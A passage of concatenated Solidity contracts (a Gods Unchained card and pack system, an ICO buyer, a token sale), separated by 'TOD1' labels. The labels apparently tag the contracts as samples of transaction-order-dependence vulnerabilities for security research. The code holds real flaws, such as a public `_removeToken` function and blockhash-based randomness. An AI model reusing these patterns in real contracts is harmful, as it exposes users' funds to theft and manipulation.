limit; bool set; for (uint i = 0; i < mythic.length; i++) { id = mythic[(random + i) % mythic.length]; (limit, set) = getLimit(id); if (set && limit > 0){ return id; } } // if not, they get a legendary :( return legendary[random % legendary.length]; } require(false); return 0; } // can never adjust tradable cards // each season gets a 'balancing beta' // totally immutable: season, rarity function replaceProto( uint16 index, uint8 god, uint8 cardType, uint8 mana, uint8 attack, uint8 health, uint8 tribe ) public onlyGovernor { ProtoCard memory pc = protos[index]; require(!seasonTradable[pc.season]); protos[index] = ProtoCard({ exists: true, god: god, season: pc.season, cardType: cardType, rarity: pc.rarity, mana: mana, attack: attack, health: health, tribe: tribe }); } } interface ERC721Metadata /* is ERC721 */ { /// @notice A descriptive name for a collection of NFTs in this contract function name() external pure returns (string _name); /// @notice An abbreviated name for NFTs in this contract function symbol() external pure returns (string _symbol); /// @notice A distinct Uniform Resource Identifier (URI) for a given asset. /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC /// 3986. The URI may point to a JSON file that conforms to the "ERC721 /// Metadata JSON Schema". function tokenURI(uint256 _tokenId) external view returns (string); } interface ERC721Enumerable /* is ERC721 */ { /// @notice Count NFTs tracked by this contract /// @return A count of valid NFTs tracked by this contract, where each one of /// them has an assigned and queryable owner not equal to the zero address function totalSupply() public view returns (uint256); /// @notice Enumerate valid NFTs /// @dev Throws if `_index` >= `totalSupply()`. /// @param _index A counter less than `totalSupply()` /// @return The token identifier for the `_index`th NFT, /// (sort order not specified) function tokenByIndex(uint256 _index) external view returns (uint256); /// @notice Enumerate NFTs assigned to an owner /// @dev Throws if `_index` >= `balanceOf(_owner)` or if /// `_owner` is the zero address, representing invalid NFTs. /// @param _owner An address where we are interested in NFTs owned by them /// @param _index A counter less than `balanceOf(_owner)` /// @return The token identifier for the `_index`th NFT assigned to `_owner`, /// (sort order not specified) function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _tokenId); } interface ERC165 { /// @notice Query if a contract implements an interface /// @param interfaceID The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceID) external view returns (bool); } contract ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public payable; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public payable; function transfer(address _to, uint256 _tokenId) public payable; function transferFrom(address _from, address _to, uint256 _tokenId) public payable; function approve(address _to, uint256 _tokenId) public payable; function setApprovalForAll(address _to, bool _approved) public; function getApproved(uint256 _tokenId) public view returns (address); function isApprovedForAll(address _owner, address _operator) public view returns (bool); } contract NFT is ERC721, ERC165, ERC721Metadata, ERC721Enumerable {} contract CardOwnership is NFT, CardProto { // doing this strategy doesn't save gas // even setting the length to the max and filling in // unfortunately - maybe if we stop it boundschecking // address[] owners; mapping(uint => address) owners; mapping(uint => address) approved; // support multiple operators mapping(address => mapping(address => bool)) operators; // save space, limits us to 2^40 tokens (>1t) mapping(address => uint40[]) public ownedTokens; mapping(uint => string) uris; // save space, limits us to 2^24 tokens per user (~17m) uint24[] indices; uint public burnCount; /** * @return the name of this token */ function name() public view returns (string) { return "Gods Unchained"; } /** * @return the symbol of this token */ function symbol() public view returns (string) { return "GODS"; } /** * @return the total number of cards in circulation */ function totalSupply() public view returns (uint) { return cards.length - burnCount; } /** * @param to : the address to which the card will be transferred * @param id : the id of the card to be transferred */ function transfer(address to, uint id) public payable { require(owns(msg.sender, id)); require(isTradable(cards[id].proto)); require(to != address(0)); _transfer(msg.sender, to, id); } /** * internal transfer function which skips checks - use carefully * @param from : the address from which the card will be transferred * @param to : the address to which the card will be transferred * @param id : the id of the card to be transferred */ function _transfer(address from, address to, uint id) internal { approved[id] = address(0); owners[id] = to; _addToken(to, id); _removeToken(from, id); emit Transfer(from, to, id); } /** * initial internal transfer function which skips checks and saves gas - use carefully * @param to : the address to which the card will be transferred * @param id : the id of the card to be transferred */ function _create(address to, uint id) internal { owners[id] = to; _addToken(to, id); emit Transfer(address(0), to, id); } /** * @param to : the address to which the cards will be transferred * @param ids : the ids of the cards to be transferred */ function transferAll(address to, uint[] ids) public payable { for (uint i = 0; i < ids.length; i++) { transfer(to, ids[i]); } } /** * @param proposed : the claimed owner of the cards * @param ids : the ids of the cards to check * @return whether proposed owns all of the cards */ function ownsAll(address proposed, uint[] ids) public view returns (bool) { for (uint i = 0; i < ids.length; i++) { if (!owns(proposed, ids[i])) { return false; } } return true; } /** * @param proposed : the claimed owner of the card * @param id : the id of the card to check * @return whether proposed owns the card */ function owns(address proposed, uint id) public view returns (bool) { return ownerOf(id) == proposed; } /** * @param id : the id of the card * @return the address of the owner of the card */ function ownerOf(uint id) public view returns (address) { return owners[id]; } /** * @param id : the index of the token to burn */ function burn(uint id) public { // require(isTradable(cards[id].proto)); require(owns(msg.sender, id)); burnCount++; // use the internal transfer function as the external // has a guard to prevent transfers to 0x0 _transfer(msg.sender, address(0), id); } /** * @param ids : the indices of the tokens to burn */ function burnAll(uint[] ids) public { for (uint i = 0; i < ids.length; i++){ burn(ids[i]); } } /** * @param to : the address to approve for transfer * @param id : the index of the card to be approved */ function approve(address to, uint id) public payable { require(owns(msg.sender, id)); require(isTradable(cards[id].proto)); approved[id] = to; emit Approval(msg.sender, to, id); } /** * @param to : the address to approve for transfer * @param ids : the indices of the cards to be approved */ function approveAll(address to, uint[] ids) public payable { for (uint i = 0; i < ids.length; i++) { approve(to, ids[i]); } } /** * @param id : the index of the token to check * @return the address approved to transfer this token */ function getApproved(uint id) public view returns(address) { return approved[id]; } /** * @param owner : the address to check * @return the number of tokens controlled by owner */ function balanceOf(address owner) public view returns (uint) { return ownedTokens[owner].length; } /** * @param id : the index of the proposed token * @return whether the token is owned by a non-zero address */ function exists(uint id) public view returns (bool) { return owners[id] != address(0); } /** * @param to : the address to which the token should be transferred * @param id : the index of the token to transfer */ function transferFrom(address from, address to, uint id) public payable { require(to != address(0)); require(to != address(this)); // TODO: why is this necessary // if you're approved, why does it matter where it comes from? require(ownerOf(id) == from); require(isSenderApprovedFor(id)); require(isTradable(cards[id].proto)); _transfer(ownerOf(id), to, id); } /** * @param to : the address to which the tokens should be transferred * @param ids : the indices of the tokens to transfer */ function transferAllFrom(address to, uint[] ids) public payable { for (uint i = 0; i < ids.length; i++) { transferFrom(address(0), to, ids[i]); } } /** * @return the number of cards which have been burned */ function getBurnCount() public view returns (uint) { return burnCount; } function isApprovedForAll(address owner, address operator) public view returns (bool) { return operators[owner][operator]; } function setApprovalForAll(address to, bool toApprove) public { require(to != msg.sender); operators[msg.sender][to] = toApprove; emit ApprovalForAll(msg.sender, to, toApprove); } bytes4 constant magic = bytes4(keccak256("onERC721Received(address,uint256,bytes)")); function safeTransferFrom(address from, address to, uint id, bytes data) public payable { require(to != address(0)); transferFrom(from, to, id); if (_isContract(to)) { bytes4 response = ERC721TokenReceiver(to).onERC721Received.gas(50000)(from, id, data); require(response == magic); } } function safeTransferFrom(address from, address to, uint id) public payable { safeTransferFrom(from, to, id, ""); } function _addToken(address to, uint id) private { uint pos = ownedTokens[to].push(uint40(id)) - 1; indices.push(uint24(pos)); } function _removeToken(address from, uint id) public payable { uint24 index = indices[id]; uint lastIndex = ownedTokens[from].length - 1; uint40 lastId = ownedTokens[from][lastIndex]; ownedTokens[from][index] = lastId; ownedTokens[from][lastIndex] = 0; ownedTokens[from].length--; } function isSenderApprovedFor(uint256 id) internal view returns (bool) { return owns(msg.sender, id) || getApproved(id) == msg.sender || isApprovedForAll(ownerOf(id), msg.sender); } function _isContract(address test) internal view returns (bool) { uint size; assembly { size := extcodesize(test) } return (size > 0); } function tokenURI(uint id) public view returns (string) { return uris[id]; } function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 _tokenId){ return ownedTokens[owner][index]; } function tokenByIndex(uint256 index) external view returns (uint256){ return index; } function supportsInterface(bytes4 interfaceID) public view returns (bool) { return ( interfaceID == this.supportsInterface.selector || // ERC165 interfaceID == 0x5b5e139f || // ERC721Metadata interfaceID == 0x6466353c || // ERC-721 on 3/7/2018 interfaceID == 0x780e9d63 ); // ERC721Enumerable } function implementsERC721() external pure returns (bool) { return true; } function getOwnedTokens(address user) public view returns (uint40[]) { return ownedTokens[user]; } } /// @dev Note: the ERC-165 identifier for this interface is 0xf0b9e5ba interface ERC721TokenReceiver { /// @notice Handle the receipt of an NFT /// @dev The ERC721 smart contract calls this function on the recipient /// after a `transfer`. This function MAY throw to revert and reject the /// transfer. This function MUST use 50,000 gas or less. Return of other /// than the magic value MUST result in the transaction being reverted. /// Note: the contract address is always the message sender. /// @param _from The sending address /// @param _tokenId The NFT identifier which is being transfered /// @param _data Additional data with no specified format /// @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` /// unless throwing function onERC721Received(address _from, uint256 _tokenId, bytes _data) external returns(bytes4); } contract CardIntegration is CardOwnership { CardPackTwo[] packs; event CardCreated(uint indexed id, uint16 proto, uint16 purity, address owner); function addPack(CardPackTwo approved) public onlyGovernor { packs.push(approved); } modifier onlyApprovedPacks { require(_isApprovedPack()); _; } function _isApprovedPack() private view returns (bool) { for (uint i = 0; i < packs.length; i++) { if (msg.sender == address(packs[i])) { return true; } } return false; } function createCard(address owner, uint16 proto, uint16 purity) public whenNotPaused onlyApprovedPacks returns (uint) { ProtoCard memory card = protos[proto]; require(card.season == currentSeason); if (card.rarity == Rarity.Mythic) { uint64 limit; bool exists; (limit, exists) = getLimit(proto); require(!exists || limit > 0); limits[proto].limit--; } return _createCard(owner, proto, purity); } function _createCard(address owner, uint16 proto, uint16 purity) internal returns (uint) { Card memory card = Card({ proto: proto, purity: purity }); uint id = cards.push(card) - 1; _create(owner, id); emit CardCreated(id, proto, purity, owner); return id; } /*function combineCards(uint[] ids) public whenNotPaused { require(ids.length == 5); require(ownsAll(msg.sender, ids)); Card memory first = cards[ids[0]]; uint16 proto = first.proto; uint8 shine = _getShine(first.purity); require(shine < shineLimit); uint16 puritySum = first.purity - (shine * 1000); burn(ids[0]); for (uint i = 1; i < ids.length; i++) { Card memory next = cards[ids[i]]; require(next.proto == proto); require(_getShine(next.purity) == shine); puritySum += (next.purity - (shine * 1000)); burn(ids[i]); } uint16 newPurity = uint16(((shine + 1) * 1000) + (puritySum / ids.length)); _createCard(msg.sender, proto, newPurity); }*/ // PURITY NOTES // currently, we only // however, to protect rarity, you'll never be abl // this is enforced by the restriction in the create-card function // no cards above this point can be found in packs } contract CardPackTwo { CardIntegration public integration; uint public creationBlock; constructor(CardIntegration _integration) public payable { integration = _integration; creationBlock = 5939061; // set to creation block of first contracts } event Referral(address indexed referrer, uint value, address purchaser); /** * purchase 'count' of this type of pack */ function purchase(uint16 packCount, address referrer) public payable; // store purity and shine as one number to save users gas function _getPurity(uint16 randOne, uint16 randTwo) internal pure returns (uint16) { if (randOne >= 998) { return 3000 + randTwo; } else if (randOne >= 988) { return 2000 + randTwo; } else if (randOne >= 938) { return 1000 + randTwo; } else { return randTwo; } } } contract Ownable { address public owner; constructor() public { owner = msg.sender; } function setOwner(address _owner) public onlyOwner { owner = _owner; } modifier onlyOwner { require(msg.sender == owner); _; } } contract Vault is Ownable { function () public payable { } function getBalance() public view returns (uint) { return address(this).balance; } function withdraw(uint amount) public onlyOwner { require(address(this).balance >= amount); owner.transfer(amount); } function withdrawAll() public onlyOwner { withdraw(address(this).balance); } } contract CappedVault is Vault { uint public limit; uint withdrawn = 0; constructor() public { limit = 33333 ether; } function () public payable { require(total() + msg.value <= limit); } function total() public view returns(uint) { return getBalance() + withdrawn; } function withdraw(uint amount) public onlyOwner { require(address(this).balance >= amount); owner.transfer(amount); withdrawn += amount; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PresalePackTwo is CardPackTwo, Pausable { CappedVault public vault; Purchase[] purchases; struct Purchase { uint16 current; uint16 count; address user; uint randomness; uint64 commit; } event PacksPurchased(uint indexed id, address indexed user, uint16 count); event PackOpened(uint indexed id, uint16 startIndex, address indexed user, uint[] cardIDs); event RandomnessReceived(uint indexed id, address indexed user, uint16 count, uint randomness); constructor(CardIntegration integration, CappedVault _vault) public payable CardPackTwo(integration) { vault = _vault; } function basePrice() public returns (uint); function getCardDetails(uint16 packIndex, uint8 cardIndex, uint result) public view returns (uint16 proto, uint16 purity); function packSize() public view returns (uint8) { return 5; } function packsPerClaim() public view returns (uint16) { return 15; } // start in bytes, length in bytes function extract(uint num, uint length, uint start) internal pure returns (uint) { return (((1 << (length * 8)) - 1) & (num >> ((start * 8) - 1))); } function purchase(uint16 packCount, address referrer) whenNotPaused public payable { require(packCount > 0); require(referrer != msg.sender); uint price = calculatePrice(basePrice(), packCount); require(msg.value >= price); Purchase memory p = Purchase({ user: msg.sender, count: packCount, commit: uint64(block.number), randomness: 0, current: 0 }); uint id = purchases.push(p) - 1; emit PacksPurchased(id, msg.sender, packCount); if (referrer != address(0)) { uint commission = price / 10; referrer.transfer(commission); price -= commission; emit Referral(referrer, commission, msg.sender); } address(vault).transfer(price); } // can be called by anybody // can miners withhold blocks --> not really // giving up block reward for extra chance --> still really low function callback(uint id) public { Purchase storage p = purchases[id]; require(p.randomness == 0); bytes32 bhash = blockhash(p.commit); // will get the same on every block // only use properties which can't be altered by the user uint random = uint(keccak256(abi.encodePacked(bhash, p.user, address(this), p.count))); // can't callback on the original block require(uint64(block.number) != p.commit); if (uint(bhash) == 0) { // should never happen (must call within next 256 blocks) // if it does, just give them 1: will become common and therefore less valuable // set to 1 rather than 0 to avoid calling claim before randomness p.randomness = 1; } else { p.randomness = random; } emit RandomnessReceived(id, p.user, p.count, p.randomness); } function claim(uint id) public { Purchase storage p = purchases[id]; require(canClaim); uint16 proto; uint16 purity; uint16 count = p.count; uint result = p.randomness; uint8 size = packSize(); address user = p.user; uint16 current = p.current; require(result != 0); // have to wait for the callback // require(user == msg.sender); // not needed require(count > 0); uint[] memory ids = new uint[](size); uint16 end = current + packsPerClaim() > count ? count : current + packsPerClaim(); require(end > current); for (uint16 i = current; i < end; i++) { for (uint8 j = 0; j < size; j++) { (proto, purity) = getCardDetails(i, j, result); ids[j] = integration.createCard(user, proto, purity); } emit PackOpened(id, (i * size), user, ids); } p.current += (end - current); } function predictPacks(uint id) external view returns (uint16[] protos, uint16[] purities) { Purchase memory p = purchases[id]; uint16 proto; uint16 purity; uint16 count = p.count; uint result = p.randomness; uint8 size = packSize(); purities = new uint16[](size * count); protos = new uint16[](size * count); for (uint16 i = 0; i < count; i++) { for (uint8 j = 0; j < size; j++) { (proto, purity) = getCardDetails(i, j, result); purities[(i * size) + j] = purity; protos[(i * size) + j] = proto; } } return (protos, purities); } function calculatePrice(uint base, uint16 packCount) public view returns (uint) { // roughly 6k blocks per day uint difference = block.number - creationBlock; uint numDays = difference / 6000; if (20 > numDays) { return (base - (((20 - numDays) * base) / 100)) * packCount; } return base * packCount; } function _getCommonPlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else if (rand >= 998345) { return CardProto.Rarity.Legendary; } else if (rand >= 986765) { return CardProto.Rarity.Epic; } else if (rand >= 924890) { return CardProto.Rarity.Rare; } else { return CardProto.Rarity.Common; } } function _getRarePlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else if (rand >= 981615) { return CardProto.Rarity.Legendary; } else if (rand >= 852940) { return CardProto.Rarity.Epic; } else { return CardProto.Rarity.Rare; } } function _getEpicPlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else if (rand >= 981615) { return CardProto.Rarity.Legendary; } else { return CardProto.Rarity.Epic; } } function _getLegendaryPlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else { return CardProto.Rarity.Legendary; } } bool public canClaim = true; function setCanClaim(bool claim) public onlyOwner { canClaim = claim; } function getComponents( uint16 i, uint8 j, uint rand ) internal returns ( uint random, uint32 rarityRandom, uint16 purityOne, uint16 purityTwo, uint16 protoRandom ) { random = uint(keccak256(abi.encodePacked(i, rand, j))); rarityRandom = uint32(extract(random, 4, 10) % 1000000); purityOne = uint16(extract(random, 2, 4) % 1000); purityTwo = uint16(extract(random, 2, 6) % 1000); protoRandom = uint16(extract(random, 2, 8) % (2**16-1)); return (random, rarityRandom, purityOne, purityTwo, protoRandom); } function withdraw() public onlyOwner { owner.transfer(address(this).balance); } } contract ERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); } pragma solidity 0.4.24; // from OZ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract TournamentPass is ERC20, Ownable { using SafeMath for uint256; Vault vault; constructor(Vault _vault) public { vault = _vault; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; address[] public minters; uint256 supply; uint mintLimit = 20000; function name() public view returns (string){ return "GU Tournament Passes"; } function symbol() public view returns (string) { return "PASS"; } function addMinter(address minter) public onlyOwner { minters.push(minter); } function totalSupply() public view returns (uint256) { return supply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function isMinter(address test) internal view returns (bool) { for (uint i = 0; i < minters.length; i++) { if (minters[i] == test) { return true; } } return false; } function mint(address to, uint amount) public returns (bool) { require(isMinter(msg.sender)); if (amount.add(supply) > mintLimit) { return false; } supply = supply.add(amount); balances[to] = balances[to].add(amount); emit Transfer(address(0), to, amount); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval(address spender, uint256 addedValue) public returns (bool) { allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseApproval(address spender, uint256 subtractedValue) public returns (bool) { uint256 oldValue = allowed[msg.sender][spender]; if (subtractedValue > oldValue) { allowed[msg.sender][spender] = 0; } else { allowed[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } uint public price = 250 finney; function purchase(uint amount) public payable { require(msg.value >= price.mul(amount)); require(supply.add(amount) <= mintLimit); supply = supply.add(amount); balances[msg.sender] = balances[msg.sender].add(amount); emit Transfer(address(0), msg.sender, amount); address(vault).transfer(msg.value); } } contract LegendaryPackTwo is PresalePackTwo { TournamentPass pass; constructor(CardIntegration integration, CappedVault _vault, TournamentPass _pass) public payable PresalePackTwo(integration, _vault) { pass = _pass; } function purchase(uint16 packCount, address referrer) public payable { super.purchase(packCount, referrer); pass.mint(msg.sender, packCount); } function basePrice() public returns (uint) { return 450 finney; } function getCardDetails(uint16 packIndex, uint8 cardIndex, uint result) public view returns (uint16 proto, uint16 purity) { uint random; uint32 rarityRandom; uint16 protoRandom; uint16 purityOne; uint16 purityTwo; CardProto.Rarity rarity; (random, rarityRandom, purityOne, purityTwo, protoRandom) = getComponents(packIndex, cardIndex, result); if (cardIndex == 4) { rarity = _getLegendaryPlusRarity(rarityRandom); } else if (cardIndex == 3) { rarity = _getRarePlusRarity(rarityRandom); } else { rarity = _getCommonPlusRarity(rarityRandom); } purity = _getPurity(purityOne, purityTwo); proto = integration.getRandomCard(rarity, protoRandom); return (proto, purity); } }
TOD1
pragma solidity ^0.4.11; library Math { function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract ICOBuyer is Ownable { // Contract allows Ether to be paid into it // Contract allows tokens / Ether to be extracted only to owner account // Contract allows executor address or owner address to trigger ICO purtchase //Notify on economic events event EtherReceived(address indexed _contributor, uint256 _amount); event EtherWithdrawn(uint256 _amount); event TokensWithdrawn(uint256 _balance); event ICOPurchased(uint256 _amount); //Notify on contract updates event ICOStartBlockChanged(uint256 _icoStartBlock); event ExecutorChanged(address _executor); event CrowdSaleChanged(address _crowdSale); event TokenChanged(address _token); event PurchaseCapChanged(uint256 _purchaseCap); // only owner can change these // Earliest time contract is allowed to buy into the crowdsale. uint256 public icoStartBlock; // The crowdsale address. address public crowdSale; // The address that can trigger ICO purchase (may be different to owner) address public executor; // The amount for each ICO purchase uint256 public purchaseCap; modifier onlyExecutorOrOwner() { require((msg.sender == executor) || (msg.sender == owner)); _; } function ICOBuyer(address _executor, address _crowdSale, uint256 _icoStartBlock, uint256 _purchaseCap) { executor = _executor; crowdSale = _crowdSale; icoStartBlock = _icoStartBlock; purchaseCap = _purchaseCap; } function changeCrowdSale(address _crowdSale) onlyOwner { crowdSale = _crowdSale; CrowdSaleChanged(crowdSale); } function changeICOStartBlock(uint256 _icoStartBlock) onlyOwner { icoStartBlock = _icoStartBlock; ICOStartBlockChanged(icoStartBlock); } function changePurchaseCap(uint256 _purchaseCap) onlyOwner { purchaseCap = _purchaseCap; PurchaseCapChanged(purchaseCap); } function changeExecutor(address _executor) onlyOwner { executor = _executor; ExecutorChanged(_executor); } // function allows all Ether to be drained from contract by owner function withdrawEther() onlyOwner { require(this.balance != 0); owner.transfer(this.balance); EtherWithdrawn(this.balance); } // function allows all tokens to be transferred to owner function withdrawTokens(address _token) onlyOwner { ERC20Basic token = ERC20Basic(_token); // Retrieve current token balance of contract. uint256 contractTokenBalance = token.balanceOf(address(this)); // Disallow token withdrawals if there are no tokens to withdraw. require(contractTokenBalance != 0); // Send the funds. Throws on failure to prevent loss of funds. assert(token.transfer(owner, contractTokenBalance)); TokensWithdrawn(contractTokenBalance); } // Buys tokens in the crowdsale and rewards the caller, callable by anyone. function buyICO() onlyExecutorOrOwner { // Short circuit to save gas if the earliest buy time hasn't been reached. if (getBlockNumber() < icoStartBlock) return; // Return if no balance if (this.balance == 0) return; // Purchase tokens from ICO contract (assuming call to ICO fallback function) uint256 purchaseAmount = Math.min256(this.balance, purchaseCap); assert(crowdSale.call.value(purchaseAmount)()); ICOPurchased(purchaseAmount); } // Fallback function accepts ether and logs this. // Can be called by anyone to fund contract. function () payable { EtherReceived(msg.sender, msg.value); } //Function is mocked for tests function getBlockNumber() internal constant returns (uint256) { return block.number; } }
TOD1
pragma solidity 0.4.24; /** * @title IADOWR Special Event Contract * @dev ERC-20 Token Standard Compliant Contract */ /** * @title SafeMath by OpenZeppelin * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * Token contract interface for external use */ contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public; } /** * @title admined * @notice This contract have some admin-only functions */ contract admined { mapping (address => uint8) public admin; //Admin address is public /** * @dev This contructor takes the msg.sender as the first administer */ constructor() internal { admin[msg.sender] = 2; //Set initial master admin to contract creator emit AssignAdminship(msg.sender, 2); } /** * @dev This modifier limits function execution to the admin */ modifier onlyAdmin(uint8 _level) { //A modifier to define admin-only functions require(admin[msg.sender] >= _level); _; } /** * @notice This function transfer the adminship of the contract to _newAdmin * @param _newAdmin User address * @param _level User new level */ function assingAdminship(address _newAdmin, uint8 _level) onlyAdmin(2) public { //Admin can be transfered admin[_newAdmin] = _level; emit AssignAdminship(_newAdmin , _level); } /** * @dev Log Events */ event AssignAdminship(address newAdminister, uint8 level); } contract IADSpecialEvent is admined { using SafeMath for uint256; //This ico contract have 2 states enum State { Ongoing, Successful } //public variables token public constant tokenReward = token(0xC1E2097d788d33701BA3Cc2773BF67155ec93FC4); State public state = State.Ongoing; //Set initial stage uint256 public totalRaised; //eth in wei funded uint256 public totalDistributed; //tokens distributed uint256 public completedAt; address public creator; mapping (address => bool) whiteList; uint256 public rate = 6250;//Base rate is 5000 IAD/ETH - It's a 25% bonus string public version = '1'; //events for log event LogFundingReceived(address _addr, uint _amount, uint _currentTotal); event LogBeneficiaryPaid(address _beneficiaryAddress); event LogFundingSuccessful(uint _totalRaised); event LogFunderInitialized(address _creator); event LogContributorsPayout(address _addr, uint _amount); modifier notFinished() { require(state != State.Successful); _; } /** * @notice ICO constructor */ constructor () public { creator = msg.sender; emit LogFunderInitialized(creator); } /** * @notice whiteList handler */ function whitelistAddress(address _user, bool _flag) onlyAdmin(1) public { whiteList[_user] = _flag; } function checkWhitelist(address _user) onlyAdmin(1) public view returns (bool flag) { return whiteList[_user]; } /** * @notice contribution handler */ function contribute() public notFinished payable { //must be whitlisted require(whiteList[msg.sender] == true); //lets get the total purchase uint256 tokenBought = msg.value.mul(rate); //Minimum 150K tokenss require(tokenBought >= 150000 * (10 ** 18)); //Keep track of total wei raised totalRaised = totalRaised.add(msg.value); //Keep track of total tokens distributed totalDistributed = totalDistributed.add(tokenBought); //Transfer the tokens tokenReward.transfer(msg.sender, tokenBought); //Logs emit LogFundingReceived(msg.sender, msg.value, totalRaised); emit LogContributorsPayout(msg.sender, tokenBought); } /** * @notice closure handler */ function finish() onlyAdmin(2) public { //When finished eth and tremaining tokens are transfered to creator if(state != State.Successful){ state = State.Successful; completedAt = now; } uint256 remanent = tokenReward.balanceOf(this); require(creator.send(address(this).balance)); tokenReward.transfer(creator,remanent); emit LogBeneficiaryPaid(creator); emit LogContributorsPayout(creator, remanent); } function sendTokensManually(address _to, uint256 _amount) onlyAdmin(2) public { require(whiteList[_to] == true); //Keep track of total tokens distributed totalDistributed = totalDistributed.add(_amount); //Transfer the tokens tokenReward.transfer(_to, _amount); //Logs emit LogContributorsPayout(_to, _amount); } /** * @notice Function to claim eth on contract */ function claimETH() onlyAdmin(2) public{ require(creator.send(address(this).balance)); emit LogBeneficiaryPaid(creator); } /** * @notice Function to claim any token stuck on contract at any time */ function claimTokens(token 